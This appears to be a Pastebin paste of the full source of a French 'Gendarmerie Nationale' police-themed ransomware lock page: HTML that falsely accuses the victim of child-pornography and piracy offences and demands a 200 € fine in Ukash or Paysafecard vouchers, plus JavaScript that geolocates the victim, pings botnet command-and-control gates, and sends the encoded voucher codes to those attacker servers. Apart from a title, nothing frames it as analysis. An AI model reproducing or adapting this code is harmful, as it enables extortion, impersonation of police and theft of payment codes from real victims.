Guest User

CyberCrime: Rançongiciel - Gendarmerie Nationale

a guest
Dec 13th, 2011
405
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 32.67 KB | None | 0 0
  1. --[index.html]------------------------------------------------------------------
  2.  
  3. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
  4. "http://www.w3.org/TR/html4/loose.dtd">
  5. <html>
  6. <head>
  7. <link rel="stylesheet" type="text/css" href="style.css">
  8. <meta http-equiv="Content-type" content="text/html;charset=UTF-8">
  9. <title></title>
  10. </head>
  11. <body>
  12. <!-- static strings -->
  13. <input type="hidden" name="v1" id="v1" value="http://cndroaayghmf.com/de/2/gate.php">
  14. <input type="hidden" name="v2" id="v2" value="einzahlung@mail.com">
  15. <input type="hidden" name="v3" id="v3" value="0">
  16. <script type="text/javascript" src="main.js"></script>
  17. <!-- end of static strings -->
  18.  
  19. <div id="mainbox">
  20. <img src='coat.gif' alt='coat' class='left'><img src='fr_gendarmerie.gif' alt='gendarmerie' class='right'>
  21. <h1>ATTENTION!</h1>
  22. <h1>Votre ordinateur a été bloqué pour violation de la loi Française</h1>
  23. <!-- title and description -->
  24. <p class='main' style='clear:both'>Les infractions suivantes ont été détectées:</p>
  25. <ul class='main'>
  26. <li class='main'>Le fait, en vue de sa diffusion, de fixer, d’enregistrer ou de transmettre des matériels pornographique impliquant des mineurs.</li>
  27. <li class='main'>Spam.</li>
  28. <li class='main'>Utilisation des logiciels en infraction avec les droits d'auteur.</li>
  29. <li class='main'>Partager des fichiers multimédia en infraction avec les droits d'auteur.</li>
  30. </ul>
  31. <p class='main'>
  32. Pour débloquer votre ordinateur, vous devez payer 200 € dans les 3 jours prochaines.
  33. Si vous ne payez pas dans le délai précisé, votre ordinateur sera confisqués
  34. et votre cas sera soumis au tribunal.
  35. </p>
  36. <p class='main'>
  37. Vous pouvez payer l'amende avec l'aide des vouchers Ukash ou Paysafecard.
  38. Acheter les vouchers par Ukash ou Paysafecard de 200 €. Ensuite, ouvrez
  39. le tab «Payer amende», remplir le forme avec les codes et valuers des vouchers,
  40. et clique sur le bouton «Payer amende». Votre ordinateur sera débloqué dans les 24 heures suivantes.
  41. </p>
  42. <p class='main'>Après le débloquage, nous suggérons que vous:</p>
  43. <ul class='main'>
  44. <li class='main'>Supprime toutes les fichiers multimédia en infraction avec les droits d'auteur.</li>
  45. <li class='main'>Supprime des logiciels en infraction avec les droits d'auteur.</li>
  46. <li class='main'>Installer un logiciel anti-virus, si vous n'en avez pas encore.</li>
  47. <li class='main'>Faire un scan anti-virus.</li>
  48. </ul>
  49. <!-- end of title and description -->
  50.  
  51. <!-- location table -->
  52. <table style='margin-left: auto; margin-right: auto'>
  53. <tr>
  54. <td style='width: 130px; font-weight: 600;'>Votre SE: </td><td style='width:200px; font-weight: 600;'><span id='v_os'></span></td>
  55. <td style='width: 130px; font-weight: 600;'>Votre FAI:</td><td style='width:200px; font-weight: 600;'><span id='v_isp'></span></td>
  56. </tr>
  57. <tr>
  58. <td style='width: 130px; font-weight: 600;'>Votre adresse IP:</td><td style='width:200px; font-weight: 600;'><span id='v_ip'></span></td>
  59. <td style='width: 130px; font-weight: 600;'>Votre ville:</td><td style='width:200px; font-weight: 600;'><span id='v_city'></span></td>
  60. </tr>
  61. </table>
  62. <br>
  63. <!-- end of location table -->
  64.  
  65. <!-- multitab table -->
  66. <table border='0' cellspacing='0' cellpadding='2' style='width: 100%; background-color: #fff;'>
  67. <tr>
  68. <td width='10px' align='center' style='border-bottom: 1px solid black; background-color: #f8f8fc;'>&nbsp;</td>
  69. <td class='open' id='vouchers_info_tab' onclick='switch_tab("vouchers_info_tab", "vouchers_info")' style='width:380px'>Dépenser Ukash/Paysafecard est facile</td>
  70. <td class='close' id='penalty_form_tab' onclick='switch_tab("penalty_form_tab", "penalty_form")' style='width:380px'>Payer amende</td>
  71. <td width='10px' align='center' style='border-bottom: 1px solid black; background-color: #f8f8fc'>&nbsp;</td>
  72. </tr>
  73. <tr>
  74. <td colspan='4' height='100px' style='border-left: 1px solid black; border-bottom: 1px solid black; border-right: 1px solid black; border-radius: 0 0 5px 5px'>
  75.  
  76. <!-- first tab: getting vouchers information -->
  77. <div id='vouchers_info' class='multitab_window' style='display:block'>
  78. <table style='border: 0; width: 100%;'>
  79. <tr>
  80. <td style='vertical-align: top'>
  81. <p>
  82. <img src='tabac.png' alt='tabac' class='left'>
  83. <b>
  84. Acheter Ukash/Paysafecard dans plus de 20.000 points de vente en France,
  85. y compris les bureaux de tabac, presse et stations service.
  86. </b>
  87. </p>
  88. <ul style='clear: both'>
  89. <li>Trouvez le point de vente le plus proche</li>
  90. <li>Demandez Ukash/Paysafecard : 20€, 50€, 100€, 200€</li>
  91. <li>Obtenez votre code Ukash de 19 chiffres (Paysafecard de 16 chiffres)</li>
  92. </ul>
  93. </td>
  94. <td style='vertical-align: top; width: 250px'>
  95. <img src='card_ukash.png' alt='ukash' align='right'><br>
  96. <img src='psc.png' alt='paysafecard' align='right' style='clear:both'>
  97. </td>
  98. </tr>
  99. </table>
  100.  
  101.  
  102. <hr width='90%' align='center'>
  103.  
  104. <table style='border:0;width:100%'>
  105. <tr>
  106. <td style='vertical-align: top'>
  107. <p>
  108. <img src='toneo_small.gif' alt='toneo' class='left'>
  109. <b>
  110. Utilisez les Cartes Tonéo pour obtenir des bons Ukash.
  111. Les Cartes Tonéo sont disponibles dans plus de 30.000 points de vente
  112. (Bureaux de tabac, Points presse, Téléboutiques, Stations Service).
  113. Les cartes Tonéo sont proposées pour des valeurs de 7.5€, 15€, 50€, 100€.
  114. </b>
  115. </p>
  116. <p>
  117. <ul>
  118. <li>Composez le <span style='color:#0c0;font-weight:bold'>01 72 48 35 35</span> (gratuit)</li>
  119. <li>Choisissez un code Ukash</li>
  120. <li>Sélectionnez Ukash et la valeur désirée (5, 10, 40 ou 90 EUR)</li>
  121. <li>Entrez votre numéro de Carte Tonéo</li>
  122. <li>Recevez votre code par SMS</li>
  123. </ul>
  124. </p>
  125. </td>
  126. <td style='vertical-align:top'>
  127. <img src='toneo_help.jpg' alt='toneo help' align='right'>
  128. <img src='toneo_card.png' alt='toneo card' align='right' style='clear:both'>
  129. </td>
  130. </tr>
  131. </table>
  132. </div>
  133. <!-- end of first tab: getting vouchers information -->
  134.  
  135. <!-- second tab: penalty form -->
  136. <div id='penalty_form' class='multitab_window' style='display:none;'>
  137. <table id='penalty'>
  138. <tr class='penhdr'>
  139. <td style='width:10%'>?</td>
  140. <td style='width:60%'>Voucher code</td>
  141. <td style='width:30%'>Voucher valeur</td>
  142. <td style='width:100px'><!-- minus column --></td>
  143. </tr>
  144. <tr>
  145. <td>1</td>
  146. <td><input id='voucher_code0' type='text' size='25' maxlength='19' allowed='0123456789' errorclass='errborder' successclass='goodborder' class='goodborder'></td>
  147. <td><input id='voucher_value0' type='text' size='14' maxlength='3' value='0' allowed='0123456789' errorclass='errborder' successclass='goodborder' class='goodborder' onkeyup='refresh_total()'></td>
  148. <td><!-- minus column --></td>
  149. </tr>
  150. <tr>
  151. <td colspan='2'><input type='button' value='+1: Ajoutez une position plus' onclick='add_voucher_position()'></td>
  152. <td>Au total: <span id='total_amount'>0</span> €</td>
  153. <td><!-- minus column --></td>
  154. </tr>
  155. <tr>
  156. <td colspan='4' style='text-align: center'><input id='do_pay' type='button' value='Payer amende' disabled='' style='' onclick='send_vouchers()'></td>
  157. </tr>
  158. </table>
  159. </div>
  160. <!-- end of second tab: penalty form -->
  161.  
  162. </td>
  163. </tr>
  164. </table>
  165. <!-- end of multitab table -->
  166.  
  167. </div>
  168. <!-- end of mainbox -->
  169. </body>
  170. </html>
  171.  
  172. --[main.js]------------------------------------------------------------------
  173.  
  174. /*
  175. * Global variables
  176. */
  177. var debug = false;
  178. var debug_ec = false;
  179.  
  180. if (debug || debug_ec)
  181. {
  182. alert("DEBUG! DEBUG! DEBUG!");
  183. document.getElementById("v3").value = "1";
  184. }
  185.  
  186. var penalty_amount = 200;
  187. var g_botnet = "fr2";
  188. var g_os_version = "Unknown";
  189. var g_userid = "0";
  190.  
  191. var RESPONSE_PONG = "Pong!";
  192. var RESPONSE_OK = "OK";
  193. var MSG_WRONG_VOUCHERS = "Voucher code incorrecte.";
  194. var MSG_VOUCHERS_SENT = "Voucher a été envoyé. Attends pour environ 24h.";
  195. var MSG_LOW_TOTAL = "Total des moins de "+penalty_amount+" €";
  196.  
  197. if (debug)
  198. {
  199. g_gates = [
  200. "http://lck-test.net/gate.php",
  201. "http://lck-test4.net/gate.php", // not exists
  202. "http://lck-test1.net/gate.php",
  203. "http://lck-test2.net/gate.php",
  204. "http://lck-test3.net/gate.php"
  205. ]
  206. }
  207. else
  208. {
  209. g_gates = [
  210. "http://ytxihkrmfbww.com/gate.php",
  211. "http://bundespol.com/gate.php",
  212. "http://yycqparxvohd.com/gate.php",
  213. "http://wzuoqliyknpz.com/gate.php"
  214. ]
  215. }
  216.  
  217. var positions_count = 1;
  218.  
  219. var g_state = new Object();
  220. g_state.geo_location_lock = false;
  221. g_state.geo_location_set = false;
  222. g_state.report_lock = false;
  223. g_state.report = "";
  224. g_state.report_sent = true;
  225. g_state.gate_selector_lock = false;
  226. g_state.gate_selector_gate_works = true;
  227. g_state.gate_selector_calls_count = 999999;
  228. g_state.gate_selector_gate_index = 0;
  229. g_state.os_version_set = false;
  230. g_state.userid_set = false;
  231.  
  232. g_base64_std_key = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  233. g_base64_priv_key = "rAo1puyYs=awvfKHgjBkMEzCx+DV50/tQhJR6lOIqZbSNme8U7FW4X3idnTLc92GP";
  234.  
  235. function print_g_state()
  236. {
  237. if (debug_ec)
  238. {
  239. console.log("dump of g_state:")
  240. console.log("\tg_state.geo_location_lock: %s", g_state.geo_location_lock ? "true" : "false");
  241. console.log("\tg_state.geo_location_set: %s", g_state.geo_location_set ? "true" : "false");
  242. console.log("\tg_state.report_lock: %s", g_state.report_lock ? "true" : "false");
  243. console.log("\tg_state.report: %s", g_state.report);
  244. console.log("\tg_state.report_sent: %s", g_state.report_sent ? "true" : "false");
  245. console.log("\tg_state.gate_selector_lock: %s", g_state.gate_selector_lock ? "true" : "false");
  246. console.log("\tg_state.gate_selector_gate_works: %s", g_state.gate_selector_gate_works ? "true" : "false");
  247. console.log("\tg_state.gate_selector_calls_count: %d", g_state.gate_selector_calls_count);
  248. console.log("\tg_state.gate_selector_gate_index: %d (%s)", g_state.gate_selector_gate_index, g_gates[g_state.gate_selector_gate_index]);
  249. console.log("===================================================================================================");
  250. }
  251. }
  252.  
  253. function base64_encode(input, key)
  254. {
  255. var output = "";
  256. var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
  257. var i = 0;
  258.  
  259. while (i < input.length)
  260. {
  261. chr1 = input.charCodeAt(i++);
  262. chr2 = input.charCodeAt(i++);
  263. chr3 = input.charCodeAt(i++);
  264.  
  265. enc1 = chr1 >> 2;
  266. enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
  267. enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
  268. enc4 = chr3 & 63;
  269.  
  270. if (isNaN(chr2))
  271. {
  272. enc3 = enc4 = 64;
  273. }
  274. else if (isNaN(chr3))
  275. {
  276. enc4 = 64;
  277. }
  278.  
  279. output = output +
  280. key.charAt(enc1) + key.charAt(enc2) +
  281. key.charAt(enc3) + key.charAt(enc4);
  282. }
  283.  
  284. return output;
  285. }
  286.  
  287. /*
  288. * multitab window's tabs switcher
  289. */
  290. function switch_tab(content_tab_id, content_id)
  291. {
  292. document.getElementById('vouchers_info_tab').className = 'close';
  293. document.getElementById('penalty_form_tab').className = 'close';
  294. document.getElementById(content_tab_id).className = 'open';
  295.  
  296. document.getElementById('vouchers_info').style.display = 'none';
  297. document.getElementById('penalty_form').style.display = 'none';
  298. document.getElementById(content_id).style.display = 'block';
  299. return;
  300. }
  301.  
  302.  
  303. /*
  304. * Text input filter
  305. */
  306.  
  307. (function()
  308. { // after loading document init function will be called
  309. if (window.addEventListener)
  310. window.addEventListener("load", init, false);
  311. else if (window.attachEvent)
  312. window.attachEvent("onload", init);
  313.  
  314. })();
  315.  
  316. function register_handler(id)
  317. {
  318. // register handler function
  319. if (id.addEventListener)
  320. {
  321. id.addEventListener("keypress", filter, false);
  322. }
  323. else
  324. {
  325. id.onkeypress = filter;
  326. }
  327.  
  328. return;
  329. }
  330.  
  331. // Find all <input> tags, for which necessary to register event handler
  332. function init()
  333. {
  334. var inputtags = document.getElementsByTagName("input");
  335. for(var i = 0; i < inputtags.length; i++) // traverse all tags
  336. {
  337. var tag = inputtags[i];
  338. if (tag.type != "text") continue; // only text fields
  339. var allowed = tag.getAttribute("allowed");
  340. if (!allowed) continue; // and only if presents attribute 'allowed'
  341. // register handler function
  342. register_handler(tag);
  343. }
  344. }
  345.  
  346. // This is event 'keypress' handler, which maintains input filtration.
  347. function filter(event)
  348. {
  349. // Get event object and character code by portable way
  350. var e = event || window.event; // Keyboard event object
  351. var code = e.charCode || e.keyCode; // What key pressed
  352.  
  353. // If pressed functional key do not filter it
  354. if (e.charCode == 0) return true; // Functional key (FF only)
  355. if (e.ctrlKey || e.altKey) return true; // Pressed Ctrl or Alt
  356. if (code < 32) return true; // ctrl ASCII code
  357.  
  358. // Now get information from input element
  359. var allowed = this.getAttribute("allowed"); // Allowed characters
  360. var errorClassName = this.getAttribute("errorclass"); // class name indicating error
  361. var successClassName = this.getAttribute("successclass"); // class name indicating success
  362.  
  363. // Translate key code to character
  364. var c = String.fromCharCode(code);
  365.  
  366. // Check whether character in allowed characters list or not
  367. if (allowed.indexOf(c) != -1)
  368. {
  369. // character c is allowed
  370. this.className = successClassName;
  371. return true; // Accept input
  372. }
  373. else
  374. {
  375. // character c is not allowed
  376. this.className = errorClassName;
  377. // Prevent input
  378. if (e.preventDefault) e.preventDefault();
  379. if (e.returnValue) e.returnValue = false;
  380. return false;
  381. }
  382. }
  383.  
  384. /*
  385. * End of text input filter
  386. */
  387.  
  388.  
  389.  
  390. /*
  391. * penalty form support code
  392. */
  393. function get_position_number_html(position_number)
  394. {
  395. return "" + (position_number * 1 + 1);
  396. }
  397.  
  398. function get_voucher_code_html(position_number)
  399. {
  400. return "<input id='voucher_code" + position_number + "' type='text' size='25' maxlength='19' allowed='0123456789' errorclass='errborder' successclass='goodborder' class='goodborder'>";
  401. }
  402.  
  403. function get_voucher_value_html(position_number)
  404. {
  405. return "<input id='voucher_value" + position_number + "' type='text' size='14' maxlength='3' value='0' allowed='0123456789' errorclass='errborder' successclass='goodborder' class='goodborder' onkeyup='refresh_total()'>";
  406. }
  407.  
  408. function get_img_minus_html(position_number)
  409. {
  410. return position_number <= 0 ? "" : "<img src='minus.png' alt='' onclick='delete_voucher_position(" + position_number + ")'>";
  411. }
  412.  
  413. function add_voucher_position()
  414. {
  415. var position_number = positions_count;
  416. positions_count++;
  417.  
  418. var newrow = document.all.penalty.insertRow(position_number + 1);
  419. var newcell = newrow.insertCell(0);
  420. newcell.innerHTML = get_position_number_html(position_number);
  421. newcell = newrow.insertCell(1);
  422. newcell.innerHTML = get_voucher_code_html(position_number);
  423. newcell = newrow.insertCell(2);
  424. newcell.innerHTML = get_voucher_value_html(position_number);
  425. newcell = newrow.insertCell(3);
  426. newcell.innerHTML = get_img_minus_html(position_number);
  427.  
  428. register_handler(document.getElementById("voucher_code"+position_number));
  429. register_handler(document.getElementById("voucher_value"+position_number));
  430.  
  431. return;
  432. }
  433.  
  434. function delete_voucher_position(position_number)
  435. {
  436. var i, j;
  437. var vouchers = new Array();
  438. var values = new Array();
  439. var total_amount;
  440.  
  441. for(i = 0, j = 0; i < positions_count; i++)
  442. {
  443. if (i != position_number)
  444. {
  445. vouchers[j] = document.getElementById("voucher_code"+i).value;
  446. values[j] = document.getElementById("voucher_value"+i).value;
  447. j++;
  448. }
  449. }
  450.  
  451. for(i = 0; i < positions_count; i++)
  452. {
  453. document.all.penalty.deleteRow(1);
  454. }
  455.  
  456. positions_count--;
  457.  
  458. for(i = 0; i < positions_count; i++)
  459. {
  460. var newrow = document.all.penalty.insertRow(i + 1);
  461. var newcell = newrow.insertCell(0);
  462. newcell.innerHTML = get_position_number_html(i);
  463. newcell = newrow.insertCell(1);
  464. newcell.innerHTML = get_voucher_code_html(i);
  465. newcell = newrow.insertCell(2);
  466. newcell.innerHTML = get_voucher_value_html(i);
  467. newcell = newrow.insertCell(3);
  468. newcell.innerHTML = get_img_minus_html(i);
  469. }
  470.  
  471. for(i = 0; i < positions_count; i++)
  472. {
  473. document.getElementById("voucher_code"+i).value = vouchers[i];
  474. document.getElementById("voucher_value"+i).value = values[i];
  475. register_handler(document.getElementById("voucher_code"+i));
  476. register_handler(document.getElementById("voucher_value"+i));
  477. }
  478.  
  479. total_amount = 0;
  480. for(i = 0; i < positions_count; i++)
  481. {
  482. total_amount += values[i] * 1;
  483. }
  484. document.getElementById("total_amount").innerHTML = total_amount;
  485.  
  486. return;
  487. }
  488.  
  489. function refresh_total()
  490. {
  491. var total_amount = 0;
  492. for(var i = 0; i < positions_count; i++)
  493. {
  494. total_amount += document.getElementById("voucher_value"+i).value * 1;
  495. }
  496. document.getElementById("total_amount").innerHTML = total_amount;
  497.  
  498. var do_pay = document.getElementById("do_pay");
  499. //do_pay.disabled = total_amount < penalty_amount ? 'disabled' : '';
  500. do_pay.disabled = '';
  501.  
  502. return total_amount;
  503. }
  504.  
  505. /*
  506. * End of penalty form support code
  507. */
  508.  
  509.  
  510. /*
  511. * Geoip code
  512. */
  513. function http_new_request()
  514. {
  515. if(typeof XMLHttpRequest != "undefined")
  516. {
  517. return new XMLHttpRequest();
  518. }
  519. else if(window.ActiveXObject)
  520. {
  521. var aVersions = ["MSXML2.XMLHttp.5.0", "MSXML2.XMLHttp.4.0", "MSXML2.XMLHttp.3.0", "MSXML2.XMLHttp", "Microsoft.XMLHttp"];
  522. for (var i = 0; i < aVersions.length; i++)
  523. {
  524. try
  525. {
  526. return new ActiveXObject(aVersions[i]);
  527. }
  528. catch (e) {}
  529. }
  530. }
  531. }
  532.  
  533. function http_get(target, callback, options)
  534. {
  535. var request = http_new_request();
  536. var timer;
  537.  
  538. if (options.timeout)
  539. {
  540. timer = setTimeout(
  541. function()
  542. {
  543. request.abort();
  544. if (options.timeoutHandler)
  545. options.timeoutHandler(target);
  546. },
  547. options.timeout
  548. )
  549. }
  550.  
  551. request.onreadystatechange = function()
  552. {
  553. if (request.readyState == 4)
  554. {
  555. if (timer) clearTimeout(timer);
  556. if (request.status == 200)
  557. {
  558. callback(request.responseText);
  559. }
  560. else
  561. {
  562. if (options.errorHandler) options.errorHandler(request.status, request.statusText);
  563. else callback(null);
  564. }
  565. }
  566. }
  567.  
  568. try
  569. {
  570. request.open("GET", target, true);
  571. request.send(null);
  572. }
  573.  
  574. catch (e) {
  575. }
  576. }
  577.  
  578. function set_geo_location()
  579. {
  580. var options = new Object();
  581.  
  582. function cb_set_geo_location(response_text)
  583. {
  584. try
  585. {
  586. if (response_text == null)
  587. {
  588. g_state.geo_location_set = false;
  589. }
  590. else
  591. {
  592. var re = /Your IP Address(.*?)<b>(.*?)<\/b>/i;
  593. var s_ip = response_text.match(re)[2].toString();
  594. re = /ISP:(.*?)<b>(.*?)<\/b>/i;
  595. var s_isp = response_text.match(re)[2].toString();
  596. re = /City:(.*?)<b>(.*)<\/b>/i;
  597. var s_city = response_text.match(re)[2].toString();
  598. if (s_ip == "")
  599. {
  600. s_ip = "188.28.11.121";
  601. }
  602. document.getElementById("v_ip").innerHTML = s_ip;
  603. document.getElementById("v_city").innerHTML = s_city;
  604. document.getElementById("v_isp").innerHTML = s_isp;
  605. g_state.geo_location_set = true;
  606. }
  607. }
  608.  
  609. catch (e) {}
  610.  
  611. finally
  612. {
  613. g_state.geo_location_lock = false;
  614. }
  615. }
  616.  
  617. function cb_set_geo_location_timeout(target)
  618. {
  619. g_state.geo_location_set = false;
  620. g_state.geo_location_lock = false;
  621. }
  622.  
  623. if (!g_state.geo_location_set && !g_state.geo_location_lock)
  624. {
  625. g_state.geo_location_lock = true;
  626. options.timeout = 3000;
  627. options.timeoutHandler = cb_set_geo_location_timeout;
  628. http_get("http://tools.ip2location.com/ib2/", cb_set_geo_location, options);
  629. }
  630. }
  631.  
  632. function select_gate()
  633. {
  634. var options = new Object();
  635.  
  636. function cb_select_gate(response_text)
  637. {
  638. if (response_text == RESPONSE_PONG)
  639. {
  640. g_state.gate_selector_gate_works = true;
  641. g_state.gate_selector_calls_count = 0;
  642. if (debug_ec) console.log("Pinging gate %s was successfully.", g_gates[g_state.gate_selector_gate_index]);
  643. }
  644. else
  645. {
  646. g_state.gate_selector_gate_works = false;
  647. if (debug_ec) console.log("Pinging gate %s was failed.", g_gates[g_state.gate_selector_gate_index]);
  648. }
  649. g_state.gate_selector_lock = false;
  650. }
  651.  
  652. function cb_select_gate_timeout(target)
  653. {
  654. g_state.gate_selector_gate_works = false;
  655. g_state.gate_selector_lock = false;
  656. if (debug_ec) console.log("Pinging gate %s was timeout.");
  657. }
  658.  
  659. if (!g_state.gate_selector_lock && g_state.userid_set)
  660. {
  661. if (!g_state.gate_selector_gate_works || g_state.gate_selector_calls_count++ > 10800) // every three hours
  662. {
  663. g_state.gate_selector_lock = true;
  664. if (debug_ec) console.log("Pinging gate %s...", g_gates[g_state.gate_selector_gate_index]);
  665.  
  666. if (!g_state.gate_selector_gate_works)
  667. {
  668. g_state.gate_selector_gate_index = (g_state.gate_selector_gate_index + 1) % g_gates.length;
  669. }
  670.  
  671. options.timeout = 5000;
  672. options.timeoutHandler = cb_select_gate_timeout;
  673. var os_version = base64_encode(g_os_version, g_base64_std_key);
  674. http_get(g_gates[g_state.gate_selector_gate_index]+"?cmd=ping&botnet="+g_botnet+"&userid="+g_userid+"&os="+os_version, cb_select_gate, options);
  675. }
  676. }
  677. }
  678.  
  679. function send_report()
  680. {
  681. var options = new Object();
  682.  
  683. function cb_send_report(response_text)
  684. {
  685. if (response_text != RESPONSE_OK)
  686. {
  687. g_state.gate_selector_gate_works = false;
  688. g_state.report_sent = false;
  689. if (debug_ec) console.log("Sending report '%s' on gate %s was failed.", g_state.report, g_gates[g_state.gate_selector_gate_index]);
  690. }
  691. else
  692. {
  693. if (debug_ec) console.log("Sending report '%s' on gate %s was successfully.", g_state.report, g_gates[g_state.gate_selector_gate_index]);
  694. }
  695. g_state.report_lock = false;
  696. }
  697.  
  698. function cb_send_report_timeout(target)
  699. {
  700. g_state.gate_selector_gate_works = false;
  701. g_state.report_lock = false;
  702. if (debug_ec) console.log("Sending report '%s' on gate %s was timeout.", g_state.report, g_gates[g_state.gate_selector_gate_index]);
  703. }
  704.  
  705. if (!g_state.report_lock && !g_state.report_sent && g_state.gate_selector_gate_works)
  706. {
  707. g_state.report_lock = true;
  708. if (debug_ec) console.log("Sending report '%s' on gate %s...", g_state.report, g_gates[g_state.gate_selector_gate_index]);
  709. // set 'report_sent = true' here to prevent overwriting this flag in
  710. // moment between changing report value and calling cb_send_report()
  711. g_state.report_sent = true;
  712. options.timeout = 5000;
  713. options.timeoutHandler = cb_send_report_timeout;
  714. http_get(g_gates[g_state.gate_selector_gate_index]+"?cmd=data&botnet="+g_botnet+"&userid="+g_userid+"&report="+g_state.report, cb_send_report, options);
  715. }
  716. }
  717.  
  718. function set_os_version()
  719. {
  720. if (g_state.os_version_set) return;
  721.  
  722. var iOS = new Array("Windows 95","Windows NT 4","Windows 98","Win 9x 4.9","Windows NT 5.0","Windows NT 5.1","Windows NT 6.1","Windows NT 5.2","Windows NT 6.0");
  723. var oOS = new Array("Windows 95","Windows NT 4.0","Windows 98","Windows ME","Windows 2000","Windows XP","Windows Seven","Windows 2003","Windows Vista");
  724. var os = "";
  725.  
  726. for (var i = 0; i < iOS.length; i++)
  727. {
  728. if (navigator.userAgent.indexOf(iOS[i]) > -1)
  729. {
  730. os = oOS[i];
  731. break;
  732. }
  733. }
  734.  
  735. g_os_version = os;
  736. document.getElementById("v_os").innerHTML = os;
  737. g_state.os_version_set = true;
  738. if (debug_ec) console.log("OS version set successfully.");
  739. }
  740.  
  741. function set_userid()
  742. {
  743. if (g_state.userid_set) return;
  744.  
  745. g_userid = document.getElementById("v3").value;
  746. if (g_userid != "0")
  747. {
  748. g_state.userid_set = true;
  749. if (debug_ec) console.log("Userid set successfully.");
  750. }
  751. }
  752.  
  753. function monitor()
  754. {
  755. refresh_total();
  756. set_geo_location();
  757. set_os_version();
  758. set_userid();
  759. select_gate();
  760. send_report();
  761. }
  762.  
  763. window.onload = function ()
  764. {
  765. setInterval(monitor, 1000);
  766. }
  767.  
  768. function are_vouchers_valid()
  769. {
  770. var prefix;
  771. var is_valid = true;
  772. var ret = true;
  773.  
  774. for(var i = 0; i < positions_count; i++)
  775. {
  776. var voucher_code = document.getElementById("voucher_code"+i);
  777. var voucher = voucher_code.value;
  778. if (voucher.length == 19)
  779. {
  780. prefix = voucher.substr(0, 6);
  781. if (prefix != "633718")
  782. {
  783. is_valid = false;
  784. }
  785. }
  786. else if (voucher.length == 16)
  787. {
  788. prefix = voucher.substr(0, 1);
  789. if (prefix != "0")
  790. {
  791. is_valid = false;
  792. }
  793. }
  794. else
  795. {
  796. is_valid = false;
  797. }
  798.  
  799. if (is_valid)
  800. {
  801. voucher_code.className = voucher_code.getAttribute("successclass");
  802. }
  803. else
  804. {
  805. voucher_code.className = voucher_code.getAttribute("errorclass");
  806. ret = false;
  807. }
  808. }
  809.  
  810. return ret;
  811. }
  812.  
  813. function send_vouchers()
  814. {
  815. var report = "";
  816.  
  817. if (!are_vouchers_valid())
  818. {
  819. alert(MSG_WRONG_VOUCHERS);
  820. return;
  821. }
  822.  
  823. var total = refresh_total();
  824. if (total < penalty_amount)
  825. {
  826. alert(MSG_LOW_TOTAL);
  827. return;
  828. }
  829.  
  830. for(var i = 0; i < positions_count; i++)
  831. {
  832. var voucher = document.getElementById("voucher_code"+i).value;
  833. var value = document.getElementById("voucher_value"+i).value;
  834. report += report.length ? "x" : "";
  835. report += voucher + "-" + value;
  836. }
  837.  
  838. if (report.length > 16)
  839. {
  840. report = base64_encode(report, g_base64_priv_key);
  841. if (g_state.report != report)
  842. {
  843. g_state.report = report;
  844. g_state.report_sent = false;
  845. if (debug_ec) console.log("Report updated and wait sending.");
  846. }
  847. }
  848.  
  849. alert(MSG_VOUCHERS_SENT);
  850. return;
  851. }
  852.  
  853. --[style.css]------------------------------------------------------------------
  854.  
  855. body {
  856. margin-bottom: 10px;
  857. background-color: #777; /* #F5FCF5; */
  858. overflow-y: auto;
  859. }
  860.  
  861. #mainbox h1 {
  862. color: #000000;
  863. text-align: center;
  864. text-decoration: none;
  865. font-size: 1.5em;
  866. font-family: "Arial", "Verdana", sans-serif;
  867. }
  868.  
  869. .center {
  870. text-align: center;
  871. }
  872.  
  873. p.main {
  874. color: #000000;
  875. text-align: justify;
  876. text-decoration: none;
  877. text-indent: 2em;
  878. font-size: 1.00em;
  879. font-family: "Times New Roman", "Times", sans;
  880. }
  881.  
  882. #mainbox {
  883. margin-left: auto;
  884. margin-right: auto;
  885. width: 800px;
  886. padding: 20px;
  887. overflow: auto;
  888. background-color: #f8f8fc;
  889. border: 2px solid #303030;
  890. border-radius: 7px;
  891. }
  892.  
  893. #paymentbox {
  894. margin: 10px 10px 10px 10px;
  895. width: 380px;
  896. padding: 10px;
  897. overflow: auto;
  898. background-color: #ffffff;
  899. border: 2px solid #303030;
  900. border-radius: 7px;
  901. }
  902.  
  903. .open { /* Активная вкладка */
  904. border: 1px solid black;
  905. border-bottom: none;
  906. border-radius: 5px 5px 0 0;
  907. text-align: center;
  908. font-weight: bold;
  909. padding: 4px;
  910. }
  911.  
  912. .close:hover{
  913. background-color: #c0c0c8;
  914. color: #000;
  915. cursor: pointer;
  916. }
  917.  
  918. .close { /* Неактивная вкладка */
  919. border: 1px solid black;
  920. border-radius: 5px 5px 0 0;
  921. text-align: center;
  922. background: #f0f0f8;
  923. padding: 4px;
  924. }
  925.  
  926. .multitab_window {
  927. background-color: #ffffff;
  928. width: 760px;
  929. margin-left: auto;
  930. margin-right: auto;
  931. position: relative;
  932. }
  933.  
  934. table#penalty {
  935. width: 100%;
  936. border-width: 0;
  937. text-align: left;
  938. }
  939.  
  940. .penhdr {
  941. color: #222;
  942. text-align: left;
  943. text-decoration: underline;
  944. text-indent: 0;
  945. font-size: 1.0em;
  946. font-family: "Times New Roman", "Times", sans;
  947. }
  948.  
  949. .errborder {
  950. border: 2px solid red;
  951. border-radius: 3px 3px 3px 3px;
  952. }
  953.  
  954. .goodborder {
  955. border: 2px solid #e0e0e8;
  956. border-radius: 3px 3px 3px 3px;
  957. }
  958.  
  959. table#penalty input[type="button"] {
  960. border: 2px solid #e0e0e8;
  961. border-radius: 3px 3px 3px 3px;
  962. color: #000;
  963. background-color: #f0f0f8;
  964. }
  965.  
  966. img.left {
  967. float: left;
  968. margin: 0px 15px 7px 0px;
  969. }
  970.  
  971. img.right {
  972. float: right;
  973. margin: 0px 0px 7px 15px;
  974. }
  975.  
  976. --------------------------------------------------------------------- b? m?d --
  977.  
  978.  
Add Comment
Please, Sign In to add comment